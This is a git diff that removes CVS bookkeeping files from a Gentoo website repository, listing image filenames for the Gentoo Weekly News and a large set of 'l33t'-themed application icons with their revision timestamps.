-/20051205_foss-in.jpg/1.1/Mon Dec  5 20:40:46 2005//
-/20051205_nasa1.jpg/1.1/Mon Dec  5 20:40:46 2005//
-/20051205_nasa2.jpg/1.1/Mon Dec  5 20:40:46 2005//
-/20051212_gsc-logo.png/1.1/Mon Dec 12 02:15:28 2005//
-/20051212_stats.png/1.1/Mon Dec 12 02:15:28 2005//
-/20060109_lcars.jpg/1.1/Sun Jan  8 23:28:36 2006//
-/20060130_3M-posts.png/1.1/Mon Jan 30 20:39:44 2006//
-/20060206_pentoo.png/1.1/Sun Feb  5 23:26:14 2006//
-/20060227_devroom.jpg/1.1/Mon Feb 27 00:16:17 2006//
-/20060227_fosdem1.jpg/1.1/Mon Feb 27 00:16:17 2006//
-/20060227_fosdem2.jpg/1.1/Mon Feb 27 00:16:17 2006//
-/20060227_fosdem3.jpg/1.2/Mon Feb 27 00:52:55 2006//
-/20060313_chemnitz.jpg/1.1/Mon Mar 13 06:45:24 2006//
-/20060320_cover.png/1.1/Mon Mar 20 19:05:13 2006//
-/20060320_osc.jpg/1.1/Mon Mar 20 18:02:49 2006//
-/20060320_x2.jpg/1.1/Mon Mar 20 18:02:49 2006//
-/20060417_japan.jpg/1.1/Sun Apr 16 22:30:02 2006//
-/20060417_lwe1.jpg/1.1/Sun Apr 16 21:48:31 2006//
-/20060417_lwe2.jpg/1.1/Sun Apr 16 21:48:31 2006//
-/20060522_gechi.jpg/1.1/Sun May 21 21:53:58 2006//
-/20060522_glt.jpg/1.1/Sun May 21 21:53:58 2006//
-/20060529_christel.png/1.1/Sun May 28 23:26:32 2006//
-/20060703_gentoo-lunch.jpg/1.1/Mon Jul  3 12:51:58 2006/-ko/
-/20060703_plasmaroo.jpg/1.1/Mon Jul  3 13:34:34 2006/-ko/
-/20060710_agaffney.jpg/1.1/Tue Jul 11 15:54:02 2006/-ko/
-/20060717-releng-people.jpg/1.1/Mon Jul 17 15:49:33 2006/-ko/
-/20060717_weeve.jpg/1.1/Mon Jul 17 15:49:33 2006/-ko/
-/20060731_kumba.jpg/1.1/Tue Aug  1 01:19:32 2006/-ko/
-/20060821_lwe.jpg/1.1/Wed Aug 23 20:31:03 2006/-ko/
-/20060821_tcort.jpg/1.1/Wed Aug 23 20:31:37 2006/-ko/
-/20060828_gsc2006-1.jpg/1.1/Wed Aug 30 20:34:27 2006/-ko/
-/20060828_gsc2006-2.jpg/1.1/Wed Aug 30 20:34:27 2006/-ko/
-/20060911_nichoj.jpg/1.1/Wed Sep 13 15:28:00 2006/-ko/
-/20060911_sfd.jpg/1.1/Wed Sep 13 15:28:00 2006/-ko/
-/20060925_scout.jpg/1.1/Mon Oct  2 13:08:07 2006/-ko/
-/20060925_screen.png/1.1/Mon Oct  2 13:08:07 2006/-ko/
-/20061009_dostrow.jpg/1.1/Wed Oct 11 19:43:24 2006/-kb/
-/20070115_diox.jpg/1.1/Thu Jan 25 19:48:36 2007/-ko/
-/20070205_metisse.jpg/1.1/Mon Feb  5 19:49:59 2007/-ko/
-/20070205_zzam.jpg/1.1/Mon Feb  5 19:49:59 2007/-ko/
-/20070305_chemnitz_mips.jpg/1.1/Thu Mar  8 02:06:24 2007/-ko/
-/20070305_chemnitz_people.jpg/1.1/Thu Mar  8 02:06:24 2007/-ko/
-/20070305_fosdem.jpg/1.1/Thu Mar  8 03:32:05 2007/-ko/
-/20070305_nightmorph.jpg/1.1/Thu Mar  8 16:01:48 2007/-ko/
-/20070319_welp.jpg/1.1/Sat Mar 24 01:41:04 2007/-ko/
-/20070326_dsd.jpg/1.1/Wed Apr  4 14:34:32 2007/-ko/
-/20070409_cam.jpg/1.1/Mon Apr 16 13:51:04 2007/-ko/
-/20070423_jokey.jpg/1.1/Mon May  7 15:32:30 2007/-ko/
-/20070716_cryos.jpg/1.1/Thu Jul 19 20:12:58 2007/-ko/
-/20070716_linuxtage.jpg/1.1/Thu Jul 19 20:28:03 2007/-ko/
-/20070806_phreak.jpg/1.1/Sat Aug 11 00:53:25 2007/-ko/
-/20070809-LWE.jpg/1.1/Sat Aug 18 00:01:44 2007/-ko/
-/20070813_MilanPub.jpg/1.1/Wed Aug 15 20:33:12 2007/-ko/
-/20070917_cla.jpg/1.1/Sun Sep 16 18:30:43 2007//
-/gtk2fu_gwn.png/1.1/Sun May 29 23:56:07 2005//
-/littlemaddog.jpg/1.1/Tue Feb 24 04:29:28 2004//
-/quantum-g-beer_small.jpg/1.1/Wed Feb 25 14:20:12 2004//
-/sc_libconf1.png/1.1/Sun May 29 23:56:07 2005//
-/sc_libconf2.png/1.1/Sun May 29 23:56:07 2005//
-/sc_libconf3.png/1.1/Sun May 29 23:56:07 2005//
-/sc_libconf4.png/1.1/Sun May 29 23:56:07 2005//
-D
diff --git a/xml/htdocs/images/gwn/CVS/Repository b/xml/htdocs/images/gwn/CVS/Repository
deleted file mode 100644
index bcac6385..00000000
--- a/xml/htdocs/images/gwn/CVS/Repository
+++ /dev/null
@@ -1 +0,0 @@
-gentoo/xml/images/gwn
diff --git a/xml/htdocs/images/gwn/CVS/Root b/xml/htdocs/images/gwn/CVS/Root
deleted file mode 100644
index ac2aadd2..00000000
--- a/xml/htdocs/images/gwn/CVS/Root
+++ /dev/null
@@ -1 +0,0 @@
-:ext:antarus@cvs.gentoo.org:/var/cvsroot
diff --git a/xml/htdocs/images/icons/CVS/Entries b/xml/htdocs/images/icons/CVS/Entries
deleted file mode 100644
index 7f76225d..00000000
--- a/xml/htdocs/images/icons/CVS/Entries
+++ /dev/null
@@ -1,417 +0,0 @@
-/l33t_AUD_audacity.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_AUD_grip.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_AUD_kmix.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_AUD_level.png/1.1/Tue Apr  1 23:54:15 2003//
-/l33t_AUD_mixer.png/1.1/Tue Apr  1 23:54:15 2003//
-/l33t_AUD_record.png/1.1/Tue Apr  1 23:54:15 2003//
-/l33t_AUD_rhythmbox.png/1.1/Sat Mar 22 14:46:29 2003//
-/l33t_AUD_sndvol.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_AUD_sweep.png/1.1/Sun Mar 23 11:36:26 2003//
-/l33t_BRO_firebird.png/1.1/Mon Feb  2 14:53:29 2004//
-/l33t_BRO_firefox.png/1.1/Wed Feb 18 01:57:01 2004//
-/l33t_BRO_galeon-2.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_BRO_galeon-alt.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_BRO_galeon-plain.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_BRO_galeon.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_BRO_galeon2.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_BRO_google.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_BRO_grey-mozilla.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_BRO_iexplore.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_BRO_iexplore2.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_BRO_iexplore3.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_BRO_konqueror.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_BRO_lynx.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_BRO_moz.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_BRO_mozilla.png/1.2/Thu Mar 20 19:04:36 2003//
-/l33t_BRO_mozilla2.png/1.1/Sun Mar 23 11:36:26 2003//
-/l33t_BRO_opera.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_BRO_phoenix-3.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_BRO_phoenix.png/1.1/Thu Mar 20 19:04:36 2003//
-/l33t_BRO_sdot.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_BRO_thunderbird.png/1.1/Mon Feb  2 14:53:29 2004//
-/l33t_BRO_xtraceroute.png/1.1/Mon Mar 24 17:52:02 2003//
-/l33t_CDR_cdr.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_CDR_feurio.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_CDR_gentoo-gtoaster.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_CDR_k3b_2.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_CDR_nero.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_CDR_xcdroast.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_CLR_emacs.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_CLR_eterm.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_CLR_evolution.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_CLR_gnome.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_CLR_kate.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_CLR_kmenu.png/1.1/Thu Mar 20 19:04:36 2003//
-/l33t_CLR_licq.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_CLR_notasclear-xchat.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_CLR_penguin.png/1.1/Thu Mar 20 19:04:36 2003//
-/l33t_CLR_proftpdicon.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_CLR_realplayer.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_CLR_trashicon.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_CLR_trashiconfull.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_CLR_tux.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_CLR_win98clear.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_CLR_winxpclear.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_CLR_x.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_CLR_xchat.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_DES_death.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_DES_desktop.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_DES_folder.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_DES_folder2_locked.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_DES_gentoo-home.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_DES_gentoo.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_DES_grey-folder_green_open.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_DES_grey-hdd_win_umount.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_DES_nephros-lock.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_DES_nephros-manual.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_DES_samba.png/1.1/Sun Mar 16 15:04:18 2003//
-/l33t_DES_screenshot.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_DES_shutdown.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_DES_skull.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_DES_skullred.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_DES_trashcan_full.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_DES_trashicon.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_DES_trashicon2.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_DES_trashicon3.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_DES_trashiconfull.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_DES_trashiconfull3.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_DES_window_list-IBO.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_DES_xfe.png/1.1/Sun Mar 16 15:04:18 2003//
-/l33t_DES_xnc.png/1.1/Sun Mar 16 15:04:18 2003//
-/l33t_DES_xnclogo.png/1.1/Sun Mar 16 15:04:18 2003//
-/l33t_DES_xnclogo2.png/1.1/Sun Mar 16 15:04:18 2003//
-/l33t_DEV_a500.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_DEV_canon_a70.png/1.1/Mon Feb  2 14:53:29 2004//
-/l33t_DEV_cdrom.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_DEV_cdrom_mount.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_DEV_cdrom_umount.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_DEV_dvd_mount.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_DEV_dvd_mount2.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_DEV_dvd_umount.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_DEV_dvd_umount2.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_DEV_floppy_mount.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_DEV_floppy_umount.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_DEV_gdiskfree.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_DEV_geforce.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_DEV_harddisk.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_DEV_hd.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_DEV_hwinfo.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_DEV_ipod.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_DEV_kcmdevices.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_DEV_kcmscsi.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_DEV_kcontrol.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_DEV_kppp.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_DEV_memcpu.png/1.1/Sun Mar 16 15:04:18 2003//
-/l33t_DEV_mouse.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_DEV_mouse1.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_DEV_mouse2.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_DEV_network.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_DEV_nfs_mount.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_DEV_nfs_umount.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_DEV_office-jet.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_DEV_palm.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_DEV_palm_m130.png/1.1/Mon Feb  2 14:53:29 2004//
-/l33t_DEV_printer.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_DEV_sandisk_mount.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_DEV_sandisk_umount.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_DEV_scanner.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_DEV_speakers.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_DEV_tablet.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_DEV_xsane.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_DEV_zaurus.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_DEV_zaurus_.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_DEV_zip.png/1.1/Mon Feb  2 14:53:29 2004//
-/l33t_DVP_anjuta.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_DVP_eclipse.png/1.1/Sun Mar 23 14:54:41 2003//
-/l33t_DVP_jedit.png/1.1/Sun Apr 20 10:49:26 2003//
-/l33t_DVP_qt.png/1.2/Thu Mar 20 19:04:36 2003//
-/l33t_EMU_gxmame.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_EMU_vmware.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_EMU_zsnes.png/1.1/Wed Mar 26 10:18:22 2003//
-/l33t_FIN_gnucash.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_FIN_money.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_FTP_gftp.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_FTP_gftp3.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_FTP_proftpd.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_GAM_CallToPower.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_GAM_HeavyGearII.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_GAM_JK2.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_GAM_SoF2.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_GAM_TeamSpeak.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_GAM_UT.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_GAM_UT2K3.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_GAM_am_army.png/1.1/Mon May 19 14:12:56 2003//
-/l33t_GAM_angband.png/1.1/Wed Mar 26 10:18:22 2003//
-/l33t_GAM_cards.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_GAM_cm.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_GAM_crack-attack.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_GAM_cs.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_GAM_devastation.png/1.1/Mon Feb  2 14:53:29 2004//
-/l33t_GAM_dod.png/1.1/Thu Mar 20 19:04:36 2003//
-/l33t_GAM_doom.png/1.1/Sun Apr 20 10:49:26 2003//
-/l33t_GAM_et.png/1.1/Mon Feb  2 14:53:29 2004//
-/l33t_GAM_freeciv.png/1.1/Mon Feb  2 14:53:29 2004//
-/l33t_GAM_frozen-bubble.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_GAM_gamespy.png/1.1/Sun Mar  9 16:56:53 2003//
-/l33t_GAM_glchess.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_GAM_gtavc.png/1.1/Mon Feb  2 14:53:29 2004//
-/l33t_GAM_gtetrinet.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_GAM_halflife1.png/1.1/Mon Feb  2 14:53:29 2004//
-/l33t_GAM_halflife2.png/1.1/Mon Feb  2 14:53:29 2004//
-/l33t_GAM_heretic.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_GAM_heroes.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_GAM_id-software1.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_GAM_jpilot-l33t.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_GAM_jpilot2-l33t.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_GAM_jumpnbump.png/1.1/Wed Mar 26 10:18:22 2003//
-/l33t_GAM_kohan.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_GAM_minesweep.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_GAM_mohaa.png/1.1/Mon Feb  2 14:53:29 2004//
-/l33t_GAM_mohaa2.png/1.1/Mon Feb  2 14:53:29 2004//
-/l33t_GAM_nwn-icon.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_GAM_quake.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_GAM_quake3.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_GAM_quake3bis.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_GAM_rtycoon2.png/1.1/Mon Feb  2 14:53:29 2004//
-/l33t_GAM_rupert.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_GAM_savage.png/1.1/Mon Feb  2 14:53:29 2004//
-/l33t_GAM_simcity.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_GAM_sims.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_GAM_ssam_tfe.png/1.1/Mon Feb  2 14:53:29 2004//
-/l33t_GAM_tribes2.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_GAM_tuxracer.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_GAM_tuxracer2.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_GAM_tuxracer3.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_GAM_unreal.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_GAM_unreal_2.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_GAM_unreal_2b.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_GAM_wolf-base.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_GAM_xqf.png/1.1/Sun Mar  9 16:56:53 2003//
-/l33t_GNO_bug-buddy.png/1.1/Tue Apr  1 23:54:15 2003//
-/l33t_GNO_control-center.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_GNO_gdm.png/1.1/Mon Mar 24 17:52:02 2003//
-/l33t_GNO_ghex.png/1.1/Sun Mar 23 11:36:26 2003//
-/l33t_GNO_ghostview.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_GNO_gnome-help.png/1.1/Tue Apr  1 23:54:15 2003//
-/l33t_GNO_gnomemeeting.png/1.1/Sat Mar 22 14:46:29 2003//
-/l33t_GNO_nautilus.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_GNO_palm.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_GNO_search.png/1.1/Tue Apr  1 23:54:15 2003//
-/l33t_GNO_system-monitor.png/1.1/Tue Apr  1 23:54:15 2003//
-/l33t_GNO_ximian.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_GRA_blender.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_GRA_blender2.png/1.1/Sat Mar 22 14:46:29 2003//
-/l33t_GRA_filmgimp.png/1.1/Sun Mar 23 11:36:26 2003//
-/l33t_GRA_gimp.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_GRA_gthumb.png/1.1/Mon Feb  2 14:53:29 2004//
-/l33t_GRA_maya.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_GRA_maya4.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_GRA_sodipodi.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_HUG_phoenix.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_HUG_phoenix_blue.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_IMA_GQview.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_IMA_eog.png/1.1/Tue Apr  1 23:54:15 2003//
-/l33t_IMA_gqview2.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_IMA_gthumb.png/1.1/Mon Dec 22 17:50:55 2003//
-/l33t_IMA_xv.png/1.1/Sun Mar 16 15:04:18 2003//
-/l33t_IMS_amsn.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_IMS_gabber.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_IMS_gadu.png/1.1/Thu Mar 20 19:04:36 2003//
-/l33t_IMS_gaim.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_IMS_gaim2.png/1.1/Sat Mar 22 14:46:29 2003//
-/l33t_IMS_irssi.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_IMS_kadu.png/1.1/Thu Mar 20 19:04:36 2003//
-/l33t_IMS_kopete.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_IMS_licq.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_IMS_msn4lin.png/1.1/Sun Mar 23 11:36:26 2003//
-/l33t_IMS_tkabber.png/1.1/Wed Mar 26 10:18:22 2003//
-/l33t_IMS_xchat.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_IMS_xchat1.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_IMS_xchat2.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_IMS_ymessenger.png/1.1/Mon Feb  2 14:53:29 2004//
-/l33t_KDE_grey-kdehome.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_KDE_kde.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_KDE_kdehome-l33t.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_KDE_kdevelop.png/1.1/Mon Mar 24 17:52:02 2003//
-/l33t_KDE_kfm.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_KDE_kformula.png/1.1/Mon Mar 24 17:52:02 2003//
-/l33t_KDE_khelpcenter.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_KDE_kljettool.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_KDE_kmail.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_KDE_kportage.png/1.1/Sun Mar 23 11:36:26 2003//
-/l33t_KDE_zenon1.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_LOG_E.png/1.1/Sun Mar 23 21:58:23 2003//
-/l33t_LOG_amd.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_LOG_aol.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_LOG_blue.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_LOG_bsddevil.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_LOG_e17.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_LOG_enlightenment.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_LOG_enlightenment2.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_LOG_gentoo-penguin.png/1.2/Fri Mar 28 15:54:49 2003//
-/l33t_LOG_gentoo.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_LOG_gentoo2.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_LOG_ice_cream_gentoo.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_LOG_intel.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_LOG_n64.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_LOG_nvidia.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_LOG_penguin_icon.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_LOG_redhat.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_LOG_sawfish.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_LOG_slashdot.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_LOG_sun.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_LOG_tux.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_MAI_envelope.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_MAI_evo.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_MAI_evolution.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_MAI_mail.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_MAI_mutt.png/1.1/Thu Mar 20 19:04:36 2003//
-/l33t_MAI_oexpress.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_MAI_slypheed.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_MED_grey-tv.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_MED_mplayer.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_MED_mplayer1.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_MED_mplayer2.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_MED_noatun.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_MED_qvcd.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_MED_tv.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_MED_xine.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_MED_xmms.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_MED_xmms2.png/1.1/Sun Mar 23 21:58:23 2003//
-/l33t_MSC_bibletime.png/1.1/Mon Feb  2 14:53:29 2004//
-/l33t_MSC_bibletime2.png/1.1/Mon Feb  2 14:53:29 2004//
-/l33t_NEW_knode.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_NEW_pan.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_OFF_abiword.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_OFF_acroread.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_OFF_excel.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_OFF_find.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_OFF_gnome-calc.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_OFF_gnumeric.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_OFF_kile.png/1.1/Mon Feb  2 14:53:29 2004//
-/l33t_OFF_kile2.png/1.1/Mon Feb  2 14:53:29 2004//
-/l33t_OFF_kword.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_OFF_kwrite.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_OFF_lyx.png/1.1/Thu Mar 20 19:04:36 2003//
-/l33t_OFF_openoffice-calc.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_OFF_openoffice-impress.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_OFF_openoffice-writer.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_OFF_openoffice.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_OFF_powerpoint.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_OFF_scribbus.png/1.1/Sun Mar 23 11:40:19 2003//
-/l33t_OFF_winword.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_P2P_LimeWire.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_P2P_emule.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_P2P_emule2.png/1.1/Mon Feb  2 14:53:29 2004//
